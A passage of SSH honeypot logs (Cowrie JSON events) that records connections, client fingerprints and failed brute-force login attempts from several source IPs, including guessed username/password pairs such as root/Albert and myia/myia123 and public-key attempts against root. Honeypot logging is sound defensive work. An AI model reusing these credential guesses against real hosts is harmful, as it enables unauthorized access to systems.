sa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:10.781481Z","src_ip":"178.20.210.186","session":"2f44a54f7bc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eric","password":"eric","message":"login attempt [eric/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:11.225967Z","src_ip":"178.20.210.186","session":"2f44a54f7bc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":54589,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bea9b8f9f9","protocol":"ssh","message":"New connection: 213.209.159.56:54589 (10.17.0.5:22) [session: 27bea9b8f9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:11.421012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:11.424789Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:11.506183Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia","message":"login attempt [myia/myia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:11.907428Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:12.339753Z","src_ip":"178.20.210.186","session":"2f44a54f7bc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia1","message":"login attempt [myia/myia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:12.992338Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia123","message":"login attempt [myia/myia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:14.077796Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia1234","message":"login attempt [myia/myia1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:15.167105Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myia","password":"myia12345","message":"login attempt [myia/myia12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:16.253308Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:17.338870Z","src_ip":"213.209.159.56","session":"27bea9b8f9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":32980,"dst_ip":"159.203.135.109","dst_port":22,"session":"62ce2ae00a64","protocol":"ssh","message":"New connection: 202.29.225.206:32980 (159.203.135.109:22) [session: 62ce2ae00a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:33.536914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:33.541528Z","src_ip":"202.29.225.206","session":"62ce2ae00a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:33.787550Z","src_ip":"202.29.225.206","session":"62ce2ae00a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:34.805008Z","src_ip":"202.29.225.206","session":"62ce2ae00a64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:48:36.057283Z","src_ip":"202.29.225.206","session":"62ce2ae00a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":42630,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1de128ddc17","protocol":"ssh","message":"New connection: 186.116.56.108:42630 (159.203.135.109:22) [session: f1de128ddc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:14.577466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:14.582785Z","src_ip":"186.116.56.108","session":"f1de128ddc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:14.682952Z","src_ip":"186.116.56.108","session":"f1de128ddc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Albert","message":"login attempt [root/Albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:15.083853Z","src_ip":"186.116.56.108","session":"f1de128ddc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:16.180411Z","src_ip":"186.116.56.108","session":"f1de128ddc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":44390,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10fd1dbd014","protocol":"ssh","message":"New connection: 148.153.121.224:44390 (10.17.0.5:22) [session: e10fd1dbd014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.500626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.504636Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.546059Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:10:62:80:bf:59:64:c7:b0:f2:7c:af:e4:8c:68:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkntWSBsLXvDY+mxlRPjTOrgnmwn4wx/XPb72GKo+LkST1LJ2Nmd4KeUMjTEGFMOoTwb/Qq0Pmvm1DqD6y/dtakyMWcBEHyxZ3xec4Zkt9gUtpfjVRhzVOB/FqZFwa2EZ71mqdWdEn9rUDVIXClHOANMZyo8ePPbpSALCLKwU0G5WY98IvmP51FwtMIUioyT989M1esu7dCiFrP01y+d4riD31F8S+QRKUQiKeeYSgn0lKtDMXY+HWT6dU3bmYu6nXpXYUTjlXJHvLTVFySEKB49W7DDG3eZoculYwMx0hMamek7LDFQmqrm0OTBqBRQlUdAc5stsJ/yUdUlmXfu2X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:10:62:80:bf:59:64:c7:b0:f2:7c:af:e4:8c:68:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.736801Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:10:62:80:bf:59:64:c7:b0:f2:7c:af:e4:8c:68:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkntWSBsLXvDY+mxlRPjTOrgnmwn4wx/XPb72GKo+LkST1LJ2Nmd4KeUMjTEGFMOoTwb/Qq0Pmvm1DqD6y/dtakyMWcBEHyxZ3xec4Zkt9gUtpfjVRhzVOB/FqZFwa2EZ71mqdWdEn9rUDVIXClHOANMZyo8ePPbpSALCLKwU0G5WY98IvmP51FwtMIUioyT989M1esu7dCiFrP01y+d4riD31F8S+QRKUQiKeeYSgn0lKtDMXY+HWT6dU3bmYu6nXpXYUTjlXJHvLTVFySEKB49W7DDG3eZoculYwMx0hMamek7LDFQmqrm0OTBqBRQlUdAc5stsJ/yUdUlmXfu2X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.740247Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:27:87:b3:3d:ee:80:77:17:82:21:ec:d6:38:ae:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF+RzZFg/lDC4m5LfiJYCE9J8vP8ZmCO0+Q4ltUY210xldp5k6poBFoMBX58HohJ2UooyzjUhGMBooyuatXdTN33YFFhSkt6WcF0NcMsfRwERbO9ZaKW8AJP9OPVMYSezbt3eZRAt4wV3vydDGWkV85pWw5z7U0bq1SZBAx952BafSvbVQf6NyfkT8080GgWG1T5iAw4eRUST2JsCu6Ubvb9wNKdHuUdeJjAcKY7G5y0XhkshPYh67iX7jdOVvNCNWwktMG0G9z23pI/VcNTJjD7igLWYR40hXP8QgqU9aDlfo+B3wIczBmXvamtj5MjNT/DFQqC+ZQOrXRbIxP5vb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:27:87:b3:3d:ee:80:77:17:82:21:ec:d6:38:ae:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.784010Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:27:87:b3:3d:ee:80:77:17:82:21:ec:d6:38:ae:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF+RzZFg/lDC4m5LfiJYCE9J8vP8ZmCO0+Q4ltUY210xldp5k6poBFoMBX58HohJ2UooyzjUhGMBooyuatXdTN33YFFhSkt6WcF0NcMsfRwERbO9ZaKW8AJP9OPVMYSezbt3eZRAt4wV3vydDGWkV85pWw5z7U0bq1SZBAx952BafSvbVQf6NyfkT8080GgWG1T5iAw4eRUST2JsCu6Ubvb9wNKdHuUdeJjAcKY7G5y0XhkshPYh67iX7jdOVvNCNWwktMG0G9z23pI/VcNTJjD7igLWYR40hXP8QgqU9aDlfo+B3wIczBmXvamtj5MjNT/DFQqC+ZQOrXRbIxP5vb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.787780Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:c5:25:5a:12:63:54:0a:41:91:c9:ca:0a:ce:bf:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvc+uz0tGyyWBWvjIZ+OrCNiILPd9WoBGaoX7YsE7zWwpGDKl0BEXgAcO1jRyCsc/xiOC9XBgVPtCQynmaaRswqHINk+l3YSLt8CJ41139JwSR+68aeuyGVd0xv5kDS6iccEDzTTBV0g+KX/KzeXObGUn3tdLetK6C0V7+56b7629iy06EOKWFzJX1O2yMZ7GhD+MSPo8gedRikjQVKDYQcr3MCRHhWa4n5wKonboHVugcvTum6trsigayyv9g4dB/xDQg6xZGSf/097XLz0WofxeOoeg1K9KmQbgvr95peetcUvHgQUCLKnFuzTqGKhxKjL/H75l96d1MtQLCNK8D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:c5:25:5a:12:63:54:0a:41:91:c9:ca:0a:ce:bf:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.833726Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:c5:25:5a:12:63:54:0a:41:91:c9:ca:0a:ce:bf:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvc+uz0tGyyWBWvjIZ+OrCNiILPd9WoBGaoX7YsE7zWwpGDKl0BEXgAcO1jRyCsc/xiOC9XBgVPtCQynmaaRswqHINk+l3YSLt8CJ41139JwSR+68aeuyGVd0xv5kDS6iccEDzTTBV0g+KX/KzeXObGUn3tdLetK6C0V7+56b7629iy06EOKWFzJX1O2yMZ7GhD+MSPo8gedRikjQVKDYQcr3MCRHhWa4n5wKonboHVugcvTum6trsigayyv9g4dB/xDQg6xZGSf/097XLz0WofxeOoeg1K9KmQbgvr95peetcUvHgQUCLKnFuzTqGKhxKjL/H75l96d1MtQLCNK8D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.837705Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:19:52:91:d3:42:ed:2d:db:2a:db:8e:cf:1d:fb:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9ebnq9oh04SxD5CUxhOOLnaYPkpbYRYeObsaTN5ve0K0Wr4CWDQTS+M9OMTlpYH/FJQm/M+LTzyCRMW70F5zolTOG1RqrKDFl+8IlGu8Be7VzlbP5ctaIPAycoIq9Hs043Mu126zcMrRKRjeZIFX09xnhQuUPfTXxSc+HG9F1/NlrsZaWY/JUOAMphwZXrzMBxEFv14IU5Ex1wFBMBZOxIJE+wHZSHF+mnaT2kzhNxHZ7wL9P8pi0a6H193wu9Tfc5PsCQoItwPiKxfW5Fo+60sxH2J/CjFgyj8oZpHcUUh5EFoOf2jUlgvCw6zOvhPGVdZEEviITBWVUfVxVO9rh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:19:52:91:d3:42:ed:2d:db:2a:db:8e:cf:1d:fb:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.880795Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:19:52:91:d3:42:ed:2d:db:2a:db:8e:cf:1d:fb:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9ebnq9oh04SxD5CUxhOOLnaYPkpbYRYeObsaTN5ve0K0Wr4CWDQTS+M9OMTlpYH/FJQm/M+LTzyCRMW70F5zolTOG1RqrKDFl+8IlGu8Be7VzlbP5ctaIPAycoIq9Hs043Mu126zcMrRKRjeZIFX09xnhQuUPfTXxSc+HG9F1/NlrsZaWY/JUOAMphwZXrzMBxEFv14IU5Ex1wFBMBZOxIJE+wHZSHF+mnaT2kzhNxHZ7wL9P8pi0a6H193wu9Tfc5PsCQoItwPiKxfW5Fo+60sxH2J/CjFgyj8oZpHcUUh5EFoOf2jUlgvCw6zOvhPGVdZEEviITBWVUfVxVO9rh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.884373Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:db:53:ad:aa:33:76:24:77:da:a5:ef:01:1b:9b:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEcwha19V1WB5YgrqAx7omCdF3Z6czlIsQqB1JeQIf4l50tTo9eEoGxcCChhNtBIql2aQaYKhyaW7hOH9tr0B5GtOSf/6AjFxygxN3UXYM8dHiwp/bDA9mrn8w/Lms0Mox6dxCxqRPAQ0dtY/bw5A1Yffbm5VrZ8JxzRXAvk9SYXmDK08uTuS1Co0HuXxMijBir4IW1ik84foxOHg4Vj07K2EZDhSb/+9eFwQDIOIXx5+Da57Exk6eHvqHOBLBYKJ4US04Afj+SJpL+QWhMJxfVuIgRl7aYVgn8/jeLpS+glw6R4qGfIRTRiOAd+NzBP386peJTXPqVIYQR+s2SCyX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:db:53:ad:aa:33:76:24:77:da:a5:ef:01:1b:9b:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.927015Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:db:53:ad:aa:33:76:24:77:da:a5:ef:01:1b:9b:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEcwha19V1WB5YgrqAx7omCdF3Z6czlIsQqB1JeQIf4l50tTo9eEoGxcCChhNtBIql2aQaYKhyaW7hOH9tr0B5GtOSf/6AjFxygxN3UXYM8dHiwp/bDA9mrn8w/Lms0Mox6dxCxqRPAQ0dtY/bw5A1Yffbm5VrZ8JxzRXAvk9SYXmDK08uTuS1Co0HuXxMijBir4IW1ik84foxOHg4Vj07K2EZDhSb/+9eFwQDIOIXx5+Da57Exk6eHvqHOBLBYKJ4US04Afj+SJpL+QWhMJxfVuIgRl7aYVgn8/jeLpS+glw6R4qGfIRTRiOAd+NzBP386peJTXPqVIYQR+s2SCyX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.930716Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:38.974328Z","src_ip":"148.153.121.224","session":"e10fd1dbd014","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29b123c50b2","protocol":"ssh","message":"New connection: 124.121.31.17:55440 (10.17.0.5:22) [session: f29b123c50b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:49:48.858636Z"}
